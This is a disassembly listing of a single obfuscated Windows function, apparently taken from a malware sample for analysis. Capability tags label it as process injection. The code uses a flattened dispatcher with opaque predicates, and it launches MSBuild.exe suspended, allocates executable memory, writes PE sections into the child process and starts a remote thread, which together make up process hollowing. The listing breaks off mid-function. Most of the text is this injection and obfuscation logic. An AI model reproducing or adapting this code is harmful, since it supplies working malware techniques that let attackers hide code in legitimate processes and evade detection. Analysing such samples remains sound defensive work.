Function at 0x10008e70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x15c
mov eax, dword [0x1006e604]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
add edx, 0xe7dd0a9c
sub edx, 1
sub edx, 0xe7dd0a9c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x15e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x15d], al
mov dword [ebp - 0x164], 0x33e895f5
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x168], eax
sub eax, 0x8062f640
je 0x1000adeb
jmp 0x10008eeb
mov eax, dword [ebp - 0x168]
sub eax, 0x81bc0886
je 0x1000f5d9
jmp 0x10008f01
mov eax, dword [ebp - 0x168]
sub eax, 0x8299ba53
je 0x1000c50e
jmp 0x10008f17
mov eax, dword [ebp - 0x168]
sub eax, 0x83aa8e8f
je 0x1000bbc2
jmp 0x10008f2d
mov eax, dword [ebp - 0x168]
sub eax, 0x83cbf66a
je 0x1000f904
jmp 0x10008f43
mov eax, dword [ebp - 0x168]
sub eax, 0x8413f83e
je 0x1000aba0
jmp 0x10008f59
mov eax, dword [ebp - 0x168]
sub eax, 0x8491cbf5
je 0x1000e418
jmp 0x10008f6f
mov eax, dword [ebp - 0x168]
sub eax, 0x84f90062
je 0x1000bcb9
jmp 0x10008f85
mov eax, dword [ebp - 0x168]
sub eax, 0x8506714e
je 0x1000b34d
jmp 0x10008f9b
mov eax, dword [ebp - 0x168]
sub eax, 0x8532a4d4
je 0x1001011c
jmp 0x10008fb1
mov eax, dword [ebp - 0x168]
sub eax, 0x85fbe789
je 0x1000f6b3
jmp 0x10008fc7
mov eax, dword [ebp - 0x168]
sub eax, 0x89aa12cb
je 0x1000dae4
jmp 0x10008fdd
mov eax, dword [ebp - 0x168]
sub eax, 0x8c6f8403
je 0x1000cce8
jmp 0x10008ff3
mov eax, dword [ebp - 0x168]
sub eax, 0x8d4d6c90
je 0x1000e6bf
jmp 0x10009009
mov eax, dword [ebp - 0x168]
sub eax, 0x8dad7e81
je 0x1000f4a6
jmp 0x1000901f
mov eax, dword [ebp - 0x168]
sub eax, 0x8df026a3
je 0x1000fcb8
jmp 0x10009035
mov eax, dword [ebp - 0x168]
sub eax, 0x8ef4f702
je 0x1000dd31
jmp 0x1000904b
mov eax, dword [ebp - 0x168]
sub eax, 0x8fb66692
je 0x1000e3b1
jmp 0x10009061
mov eax, dword [ebp - 0x168]
sub eax, 0x905792b6
je 0x1000c8be
jmp 0x10009077
mov eax, dword [ebp - 0x168]
sub eax, 0x906160dc
je 0x1000b7e7
jmp 0x1000908d
mov eax, dword [ebp - 0x168]
sub eax, 0x914f128d
je 0x1000ef89
jmp 0x100090a3
mov eax, dword [ebp - 0x168]
sub eax, 0x91c3b1cb
je 0x1000f3d4
jmp 0x100090b9
mov eax, dword [ebp - 0x168]
sub eax, 0x9210519b
je 0x1000e1f4
jmp 0x100090cf
mov eax, dword [ebp - 0x168]
sub eax, 0x92319b0b
je 0x1000d169
jmp 0x100090e5
mov eax, dword [ebp - 0x168]
sub eax, 0x92c53e0f
je 0x1000e3cf
jmp 0x100090fb
mov eax, dword [ebp - 0x168]
sub eax, 0x931757c4
je 0x1000e772
jmp 0x10009111
mov eax, dword [ebp - 0x168]
sub eax, 0x93845659
je 0x1000d350
jmp 0x10009127
mov eax, dword [ebp - 0x168]
sub eax, 0x93c5d85d
je 0x1000fc85
jmp 0x1000913d
mov eax, dword [ebp - 0x168]
sub eax, 0x93f7b65f
je 0x1000ed4d
jmp 0x10009153
mov eax, dword [ebp - 0x168]
sub eax, 0x945837a0
je 0x1000d55f
jmp 0x10009169
mov eax, dword [ebp - 0x168]
sub eax, 0x984bd6e8
je 0x1000efef
jmp 0x1000917f
mov eax, dword [ebp - 0x168]
sub eax, 0x98f8cc76
je 0x1000dec6
jmp 0x10009195
mov eax, dword [ebp - 0x168]
sub eax, 0x9986c9ad
je 0x1000be9b
jmp 0x100091ab
mov eax, dword [ebp - 0x168]
sub eax, 0x9a2072de
je 0x1000fab3
jmp 0x100091c1
mov eax, dword [ebp - 0x168]
sub eax, 0x9ac705a0
je 0x1000eb03
jmp 0x100091d7
mov eax, dword [ebp - 0x168]
sub eax, 0x9beaee2d
je 0x1000e568
jmp 0x100091ed
mov eax, dword [ebp - 0x168]
sub eax, 0x9ccc2182
je 0x1000ba57
jmp 0x10009203
mov eax, dword [ebp - 0x168]
sub eax, 0x9d068bc3
je 0x1000ddae
jmp 0x10009219
mov eax, dword [ebp - 0x168]
sub eax, 0x9fd8ea9f
je 0x1000b238
jmp 0x1000922f
mov eax, dword [ebp - 0x168]
sub eax, 0xa275e28d
je 0x1000bc92
jmp 0x10009245
mov eax, dword [ebp - 0x168]
sub eax, 0xa306f951
je 0x1000fb60
jmp 0x1000925b
mov eax, dword [ebp - 0x168]
sub eax, 0xa45acbd4
je 0x1000e5e2
jmp 0x10009271
mov eax, dword [ebp - 0x168]
sub eax, 0xa4da9f5a
je 0x1000da6e
jmp 0x10009287
mov eax, dword [ebp - 0x168]
sub eax, 0xa5c59eda
je 0x1000ad54
jmp 0x1000929d
mov eax, dword [ebp - 0x168]
sub eax, 0xa609dcd8
je 0x1000ff12
jmp 0x100092b3
mov eax, dword [ebp - 0x168]
sub eax, 0xa60c4d4c
je 0x1000f344
jmp 0x100092c9
mov eax, dword [ebp - 0x168]
sub eax, 0xa6339f3a
je 0x1000af6d
jmp 0x100092df
mov eax, dword [ebp - 0x168]
sub eax, 0xa651df70
je 0x1000f8b3
jmp 0x100092f5
mov eax, dword [ebp - 0x168]
sub eax, 0xa7bd5520
je 0x1000f045
jmp 0x1000930b
mov eax, dword [ebp - 0x168]
sub eax, 0xa7e5176c
je 0x1000ced0
jmp 0x10009321
mov eax, dword [ebp - 0x168]
sub eax, 0xa829e7ec
je 0x1000d341
jmp 0x10009337
mov eax, dword [ebp - 0x168]
sub eax, 0xa8f87ea6
je 0x1000f645
jmp 0x1000934d
mov eax, dword [ebp - 0x168]
sub eax, 0xa947cd66
je 0x1000b429
jmp 0x10009363
mov eax, dword [ebp - 0x168]
sub eax, 0xa9eb3d6c
je 0x1000b9c0
jmp 0x10009379
mov eax, dword [ebp - 0x168]
sub eax, 0xaae624f3
je 0x1000f491
jmp 0x1000938f
mov eax, dword [ebp - 0x168]
sub eax, 0xaaf16e66
je 0x1000fd98
jmp 0x100093a5
mov eax, dword [ebp - 0x168]
sub eax, 0xab9a8e0b
je 0x1000c04f
jmp 0x100093bb
mov eax, dword [ebp - 0x168]
sub eax, 0xabf226ce
je 0x1000a9e8
jmp 0x100093d1
mov eax, dword [ebp - 0x168]
sub eax, 0xac29039c
je 0x1000fb7c
jmp 0x100093e7
mov eax, dword [ebp - 0x168]
sub eax, 0xadbdb2d3
je 0x1000f636
jmp 0x100093fd
mov eax, dword [ebp - 0x168]
sub eax, 0xaf8139f3
je 0x1000cd8a
jmp 0x10009413
mov eax, dword [ebp - 0x168]
sub eax, 0xaf945c3a
je 0x1000b229
jmp 0x10009429
mov eax, dword [ebp - 0x168]
sub eax, 0xafd32c33
je 0x1000ad45
jmp 0x1000943f
mov eax, dword [ebp - 0x168]
sub eax, 0xafebeddb
je 0x1000c5c8
jmp 0x10009455
mov eax, dword [ebp - 0x168]
sub eax, 0xb130e108
je 0x1000bac5
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x457ccca4
mov ecx, 0x54a345dd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
sub edx, 0x6bc616c5
sub edx, 1
add edx, 0x6bc616c5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd310c63e
mov ecx, 0x68fcf64c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dword [ebp - 0x164], 0xa5c59eda
jmp 0x10010157
mov dl, byte [ebp - 0xe1]
mov eax, 0xdc043821
mov ecx, 0x4a6d0280
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
sub edx, 0x9f26c050
sub edx, 1
add edx, 0x9f26c050
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x76977984
mov ecx, 0xf910b36e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x14c]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100119f0
add esp, 0xc
mov eax, dword [ebp - 0x148]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100119f0
add esp, 0xc
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0xd0], eax
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
sub edx, 0x3def949a
sub edx, 1
add edx, 0x3def949a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe0bd7738
mov ecx, 0x28db38be
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dword [ebp - 0x164], 0x9fd8ea9f
jmp 0x10010157
mov eax, dword [ebp - 0x140]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x1e835f51
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
sub edx, 0xca2efd6e
sub edx, 1
add edx, 0xca2efd6e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x24f8fbb1
mov ecx, 0x2303a5d8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
sub edx, 0x921880e0
sub edx, 1
add edx, 0x921880e0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9a2072de
mov ecx, 0x5df4c8a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [ebp - 0x140]
mov edx, dword [eax]
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x148]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0xc9], al
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
add edx, 0xfd35091a
sub edx, 1
sub edx, 0xfd35091a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2a24bb63
mov ecx, 0xf6d6827c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dl, byte [ebp - 0xc9]
mov eax, 0x12983015
mov ecx, 0x31c91daf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x14c]
add eax, 4
mov dword [ebp - 0xc4], eax
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
add edx, 0xd2616480
sub edx, 1
sub edx, 0xd2616480
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b358fb9
mov ecx, 0xb130e108
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10007060
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x164], 0x698e368b
jmp 0x10010157
mov eax, dword [ebp - 0x138]
mov dword [eax], 0
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0x164], 0x84f90062
jmp 0x10010157
mov eax, dword [ebp - 0xb8]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x134]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x164], 0x5a13186d
jmp 0x10010157
mov eax, dword [ebp - 0x124]
mov eax, dword [eax]
mov dword [ebp - 0xb0], eax
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov ax, word [eax + 6]
mov word [ebp - 0xac], ax
mov dword [ebp - 0x164], 0x5e0bdec7
jmp 0x10010157
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov edx, dword [ebp - 0xa0]
sub edx, 0x58d2db99
add edx, eax
add edx, 0x58d2db99
mov eax, dword [ebp - 0x14c]
mov esi, dword [eax]
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [ebp - 0x164], 0xfe7dc6d1
jmp 0x10010157
mov dword [ebp - 0x164], 0xbe42013b
jmp 0x10010157
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x128]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x118]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
sub eax, 0xcb0b8bd6
add eax, ecx
add eax, 0xcb0b8bd6
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x80], eax
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
add edx, 0x6a88c316
sub edx, 1
sub edx, 0x6a88c316
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x44f2a046
mov ecx, 0x3f09486
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1f16acad
mov ecx, 0x6ca2463f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
sub edx, 0x536afa0b
sub edx, 1
add edx, 0x536afa0b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x93c5d85d
mov ecx, 0x7c5a3d3f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dword [ebp - 0x164], 0xf0b3a3a3
jmp 0x10010157
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x64]
mov dword [eax], ecx
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
add edx, 0x128afed0
sub edx, 1
sub edx, 0x128afed0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x70e84dc8
mov ecx, 0xc386df8e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xaae624f3
mov ecx, 0xdf30a2fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dword [ebp - 0x164], 0x93845659
jmp 0x10010157
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
add edx, 0xca74c495
sub edx, 1
sub edx, 0xca74c495
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3338cb44
mov ecx, 0x33b42dbb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
sub edx, 0xf915e8a4
sub edx, 1
add edx, 0xf915e8a4
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x2f57b212
mov ecx, 0xbd772ecc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
add edx, 0x998c2af2
sub edx, 1
sub edx, 0x998c2af2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc87a894c
mov ecx, 0x89aa12cb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
add edx, 0x4a9a0115
sub edx, 1
sub edx, 0x4a9a0115
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa8f87ea6
mov ecx, 0xd722bde4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dword [ebp - 0x164], 0xc5ec26a1
jmp 0x10010157
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
add eax, 0x91b71545
add eax, 1
sub eax, 0x91b71545
mov dword [ebp - 0x30], eax
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5bbdc269
mov ecx, 0x239bb622
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dword [ebp - 0x164], 0xbfe122a3
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
add edx, 0x6b3e9a21
sub edx, 1
sub edx, 0x6b3e9a21
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3914e8d3
mov ecx, 0x6ccc6813
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dl, byte [ebp - 0x22]
mov eax, 0x56c8d0ad
mov ecx, 0x92c53e0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x32a42b19
mov ecx, 0x8491cbf5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x32a42b19
mov ecx, 0xfb11d63
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov dword [ebp - 0x164], 0x126dde77
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
add edx, 0x7afe923b
sub edx, 1
sub edx, 0x7afe923b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4ee0f0e3
mov ecx, 0xd5311d01
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [ebp - 0xf4]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x154]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0x8ee8466
sub ecx, eax
sub ecx, 0x8ee8466
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe122ba27
mov ecx, 0x72ab089a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xe8]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax]
add ecx, 4
mov eax, dword [ebp - 0xf4]
mov dword [eax], ecx
mov dword [ebp - 0x164], 0x126dde77
jmp 0x10010157
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
sub edx, 0xe657d1ca
sub edx, 1
add edx, 0xe657d1ca
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x79767951
mov ecx, 0xc872752c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov ecx, dword [0x1006f888]
mov eax, dword [0x1006f884]
mov edx, ecx
sub edx, 0xc01104df
sub edx, 1
add edx, 0xc01104df
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa609dcd8
mov ecx, 0x29fac8d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x164], eax
jmp 0x10010157
mov eax, dword [ebp - 0x144]
mov eax, dword [0x1006f888]
mov ecx, dword [0x1006f884]
mov edx, eax
sub edx, 0x6eea2faf
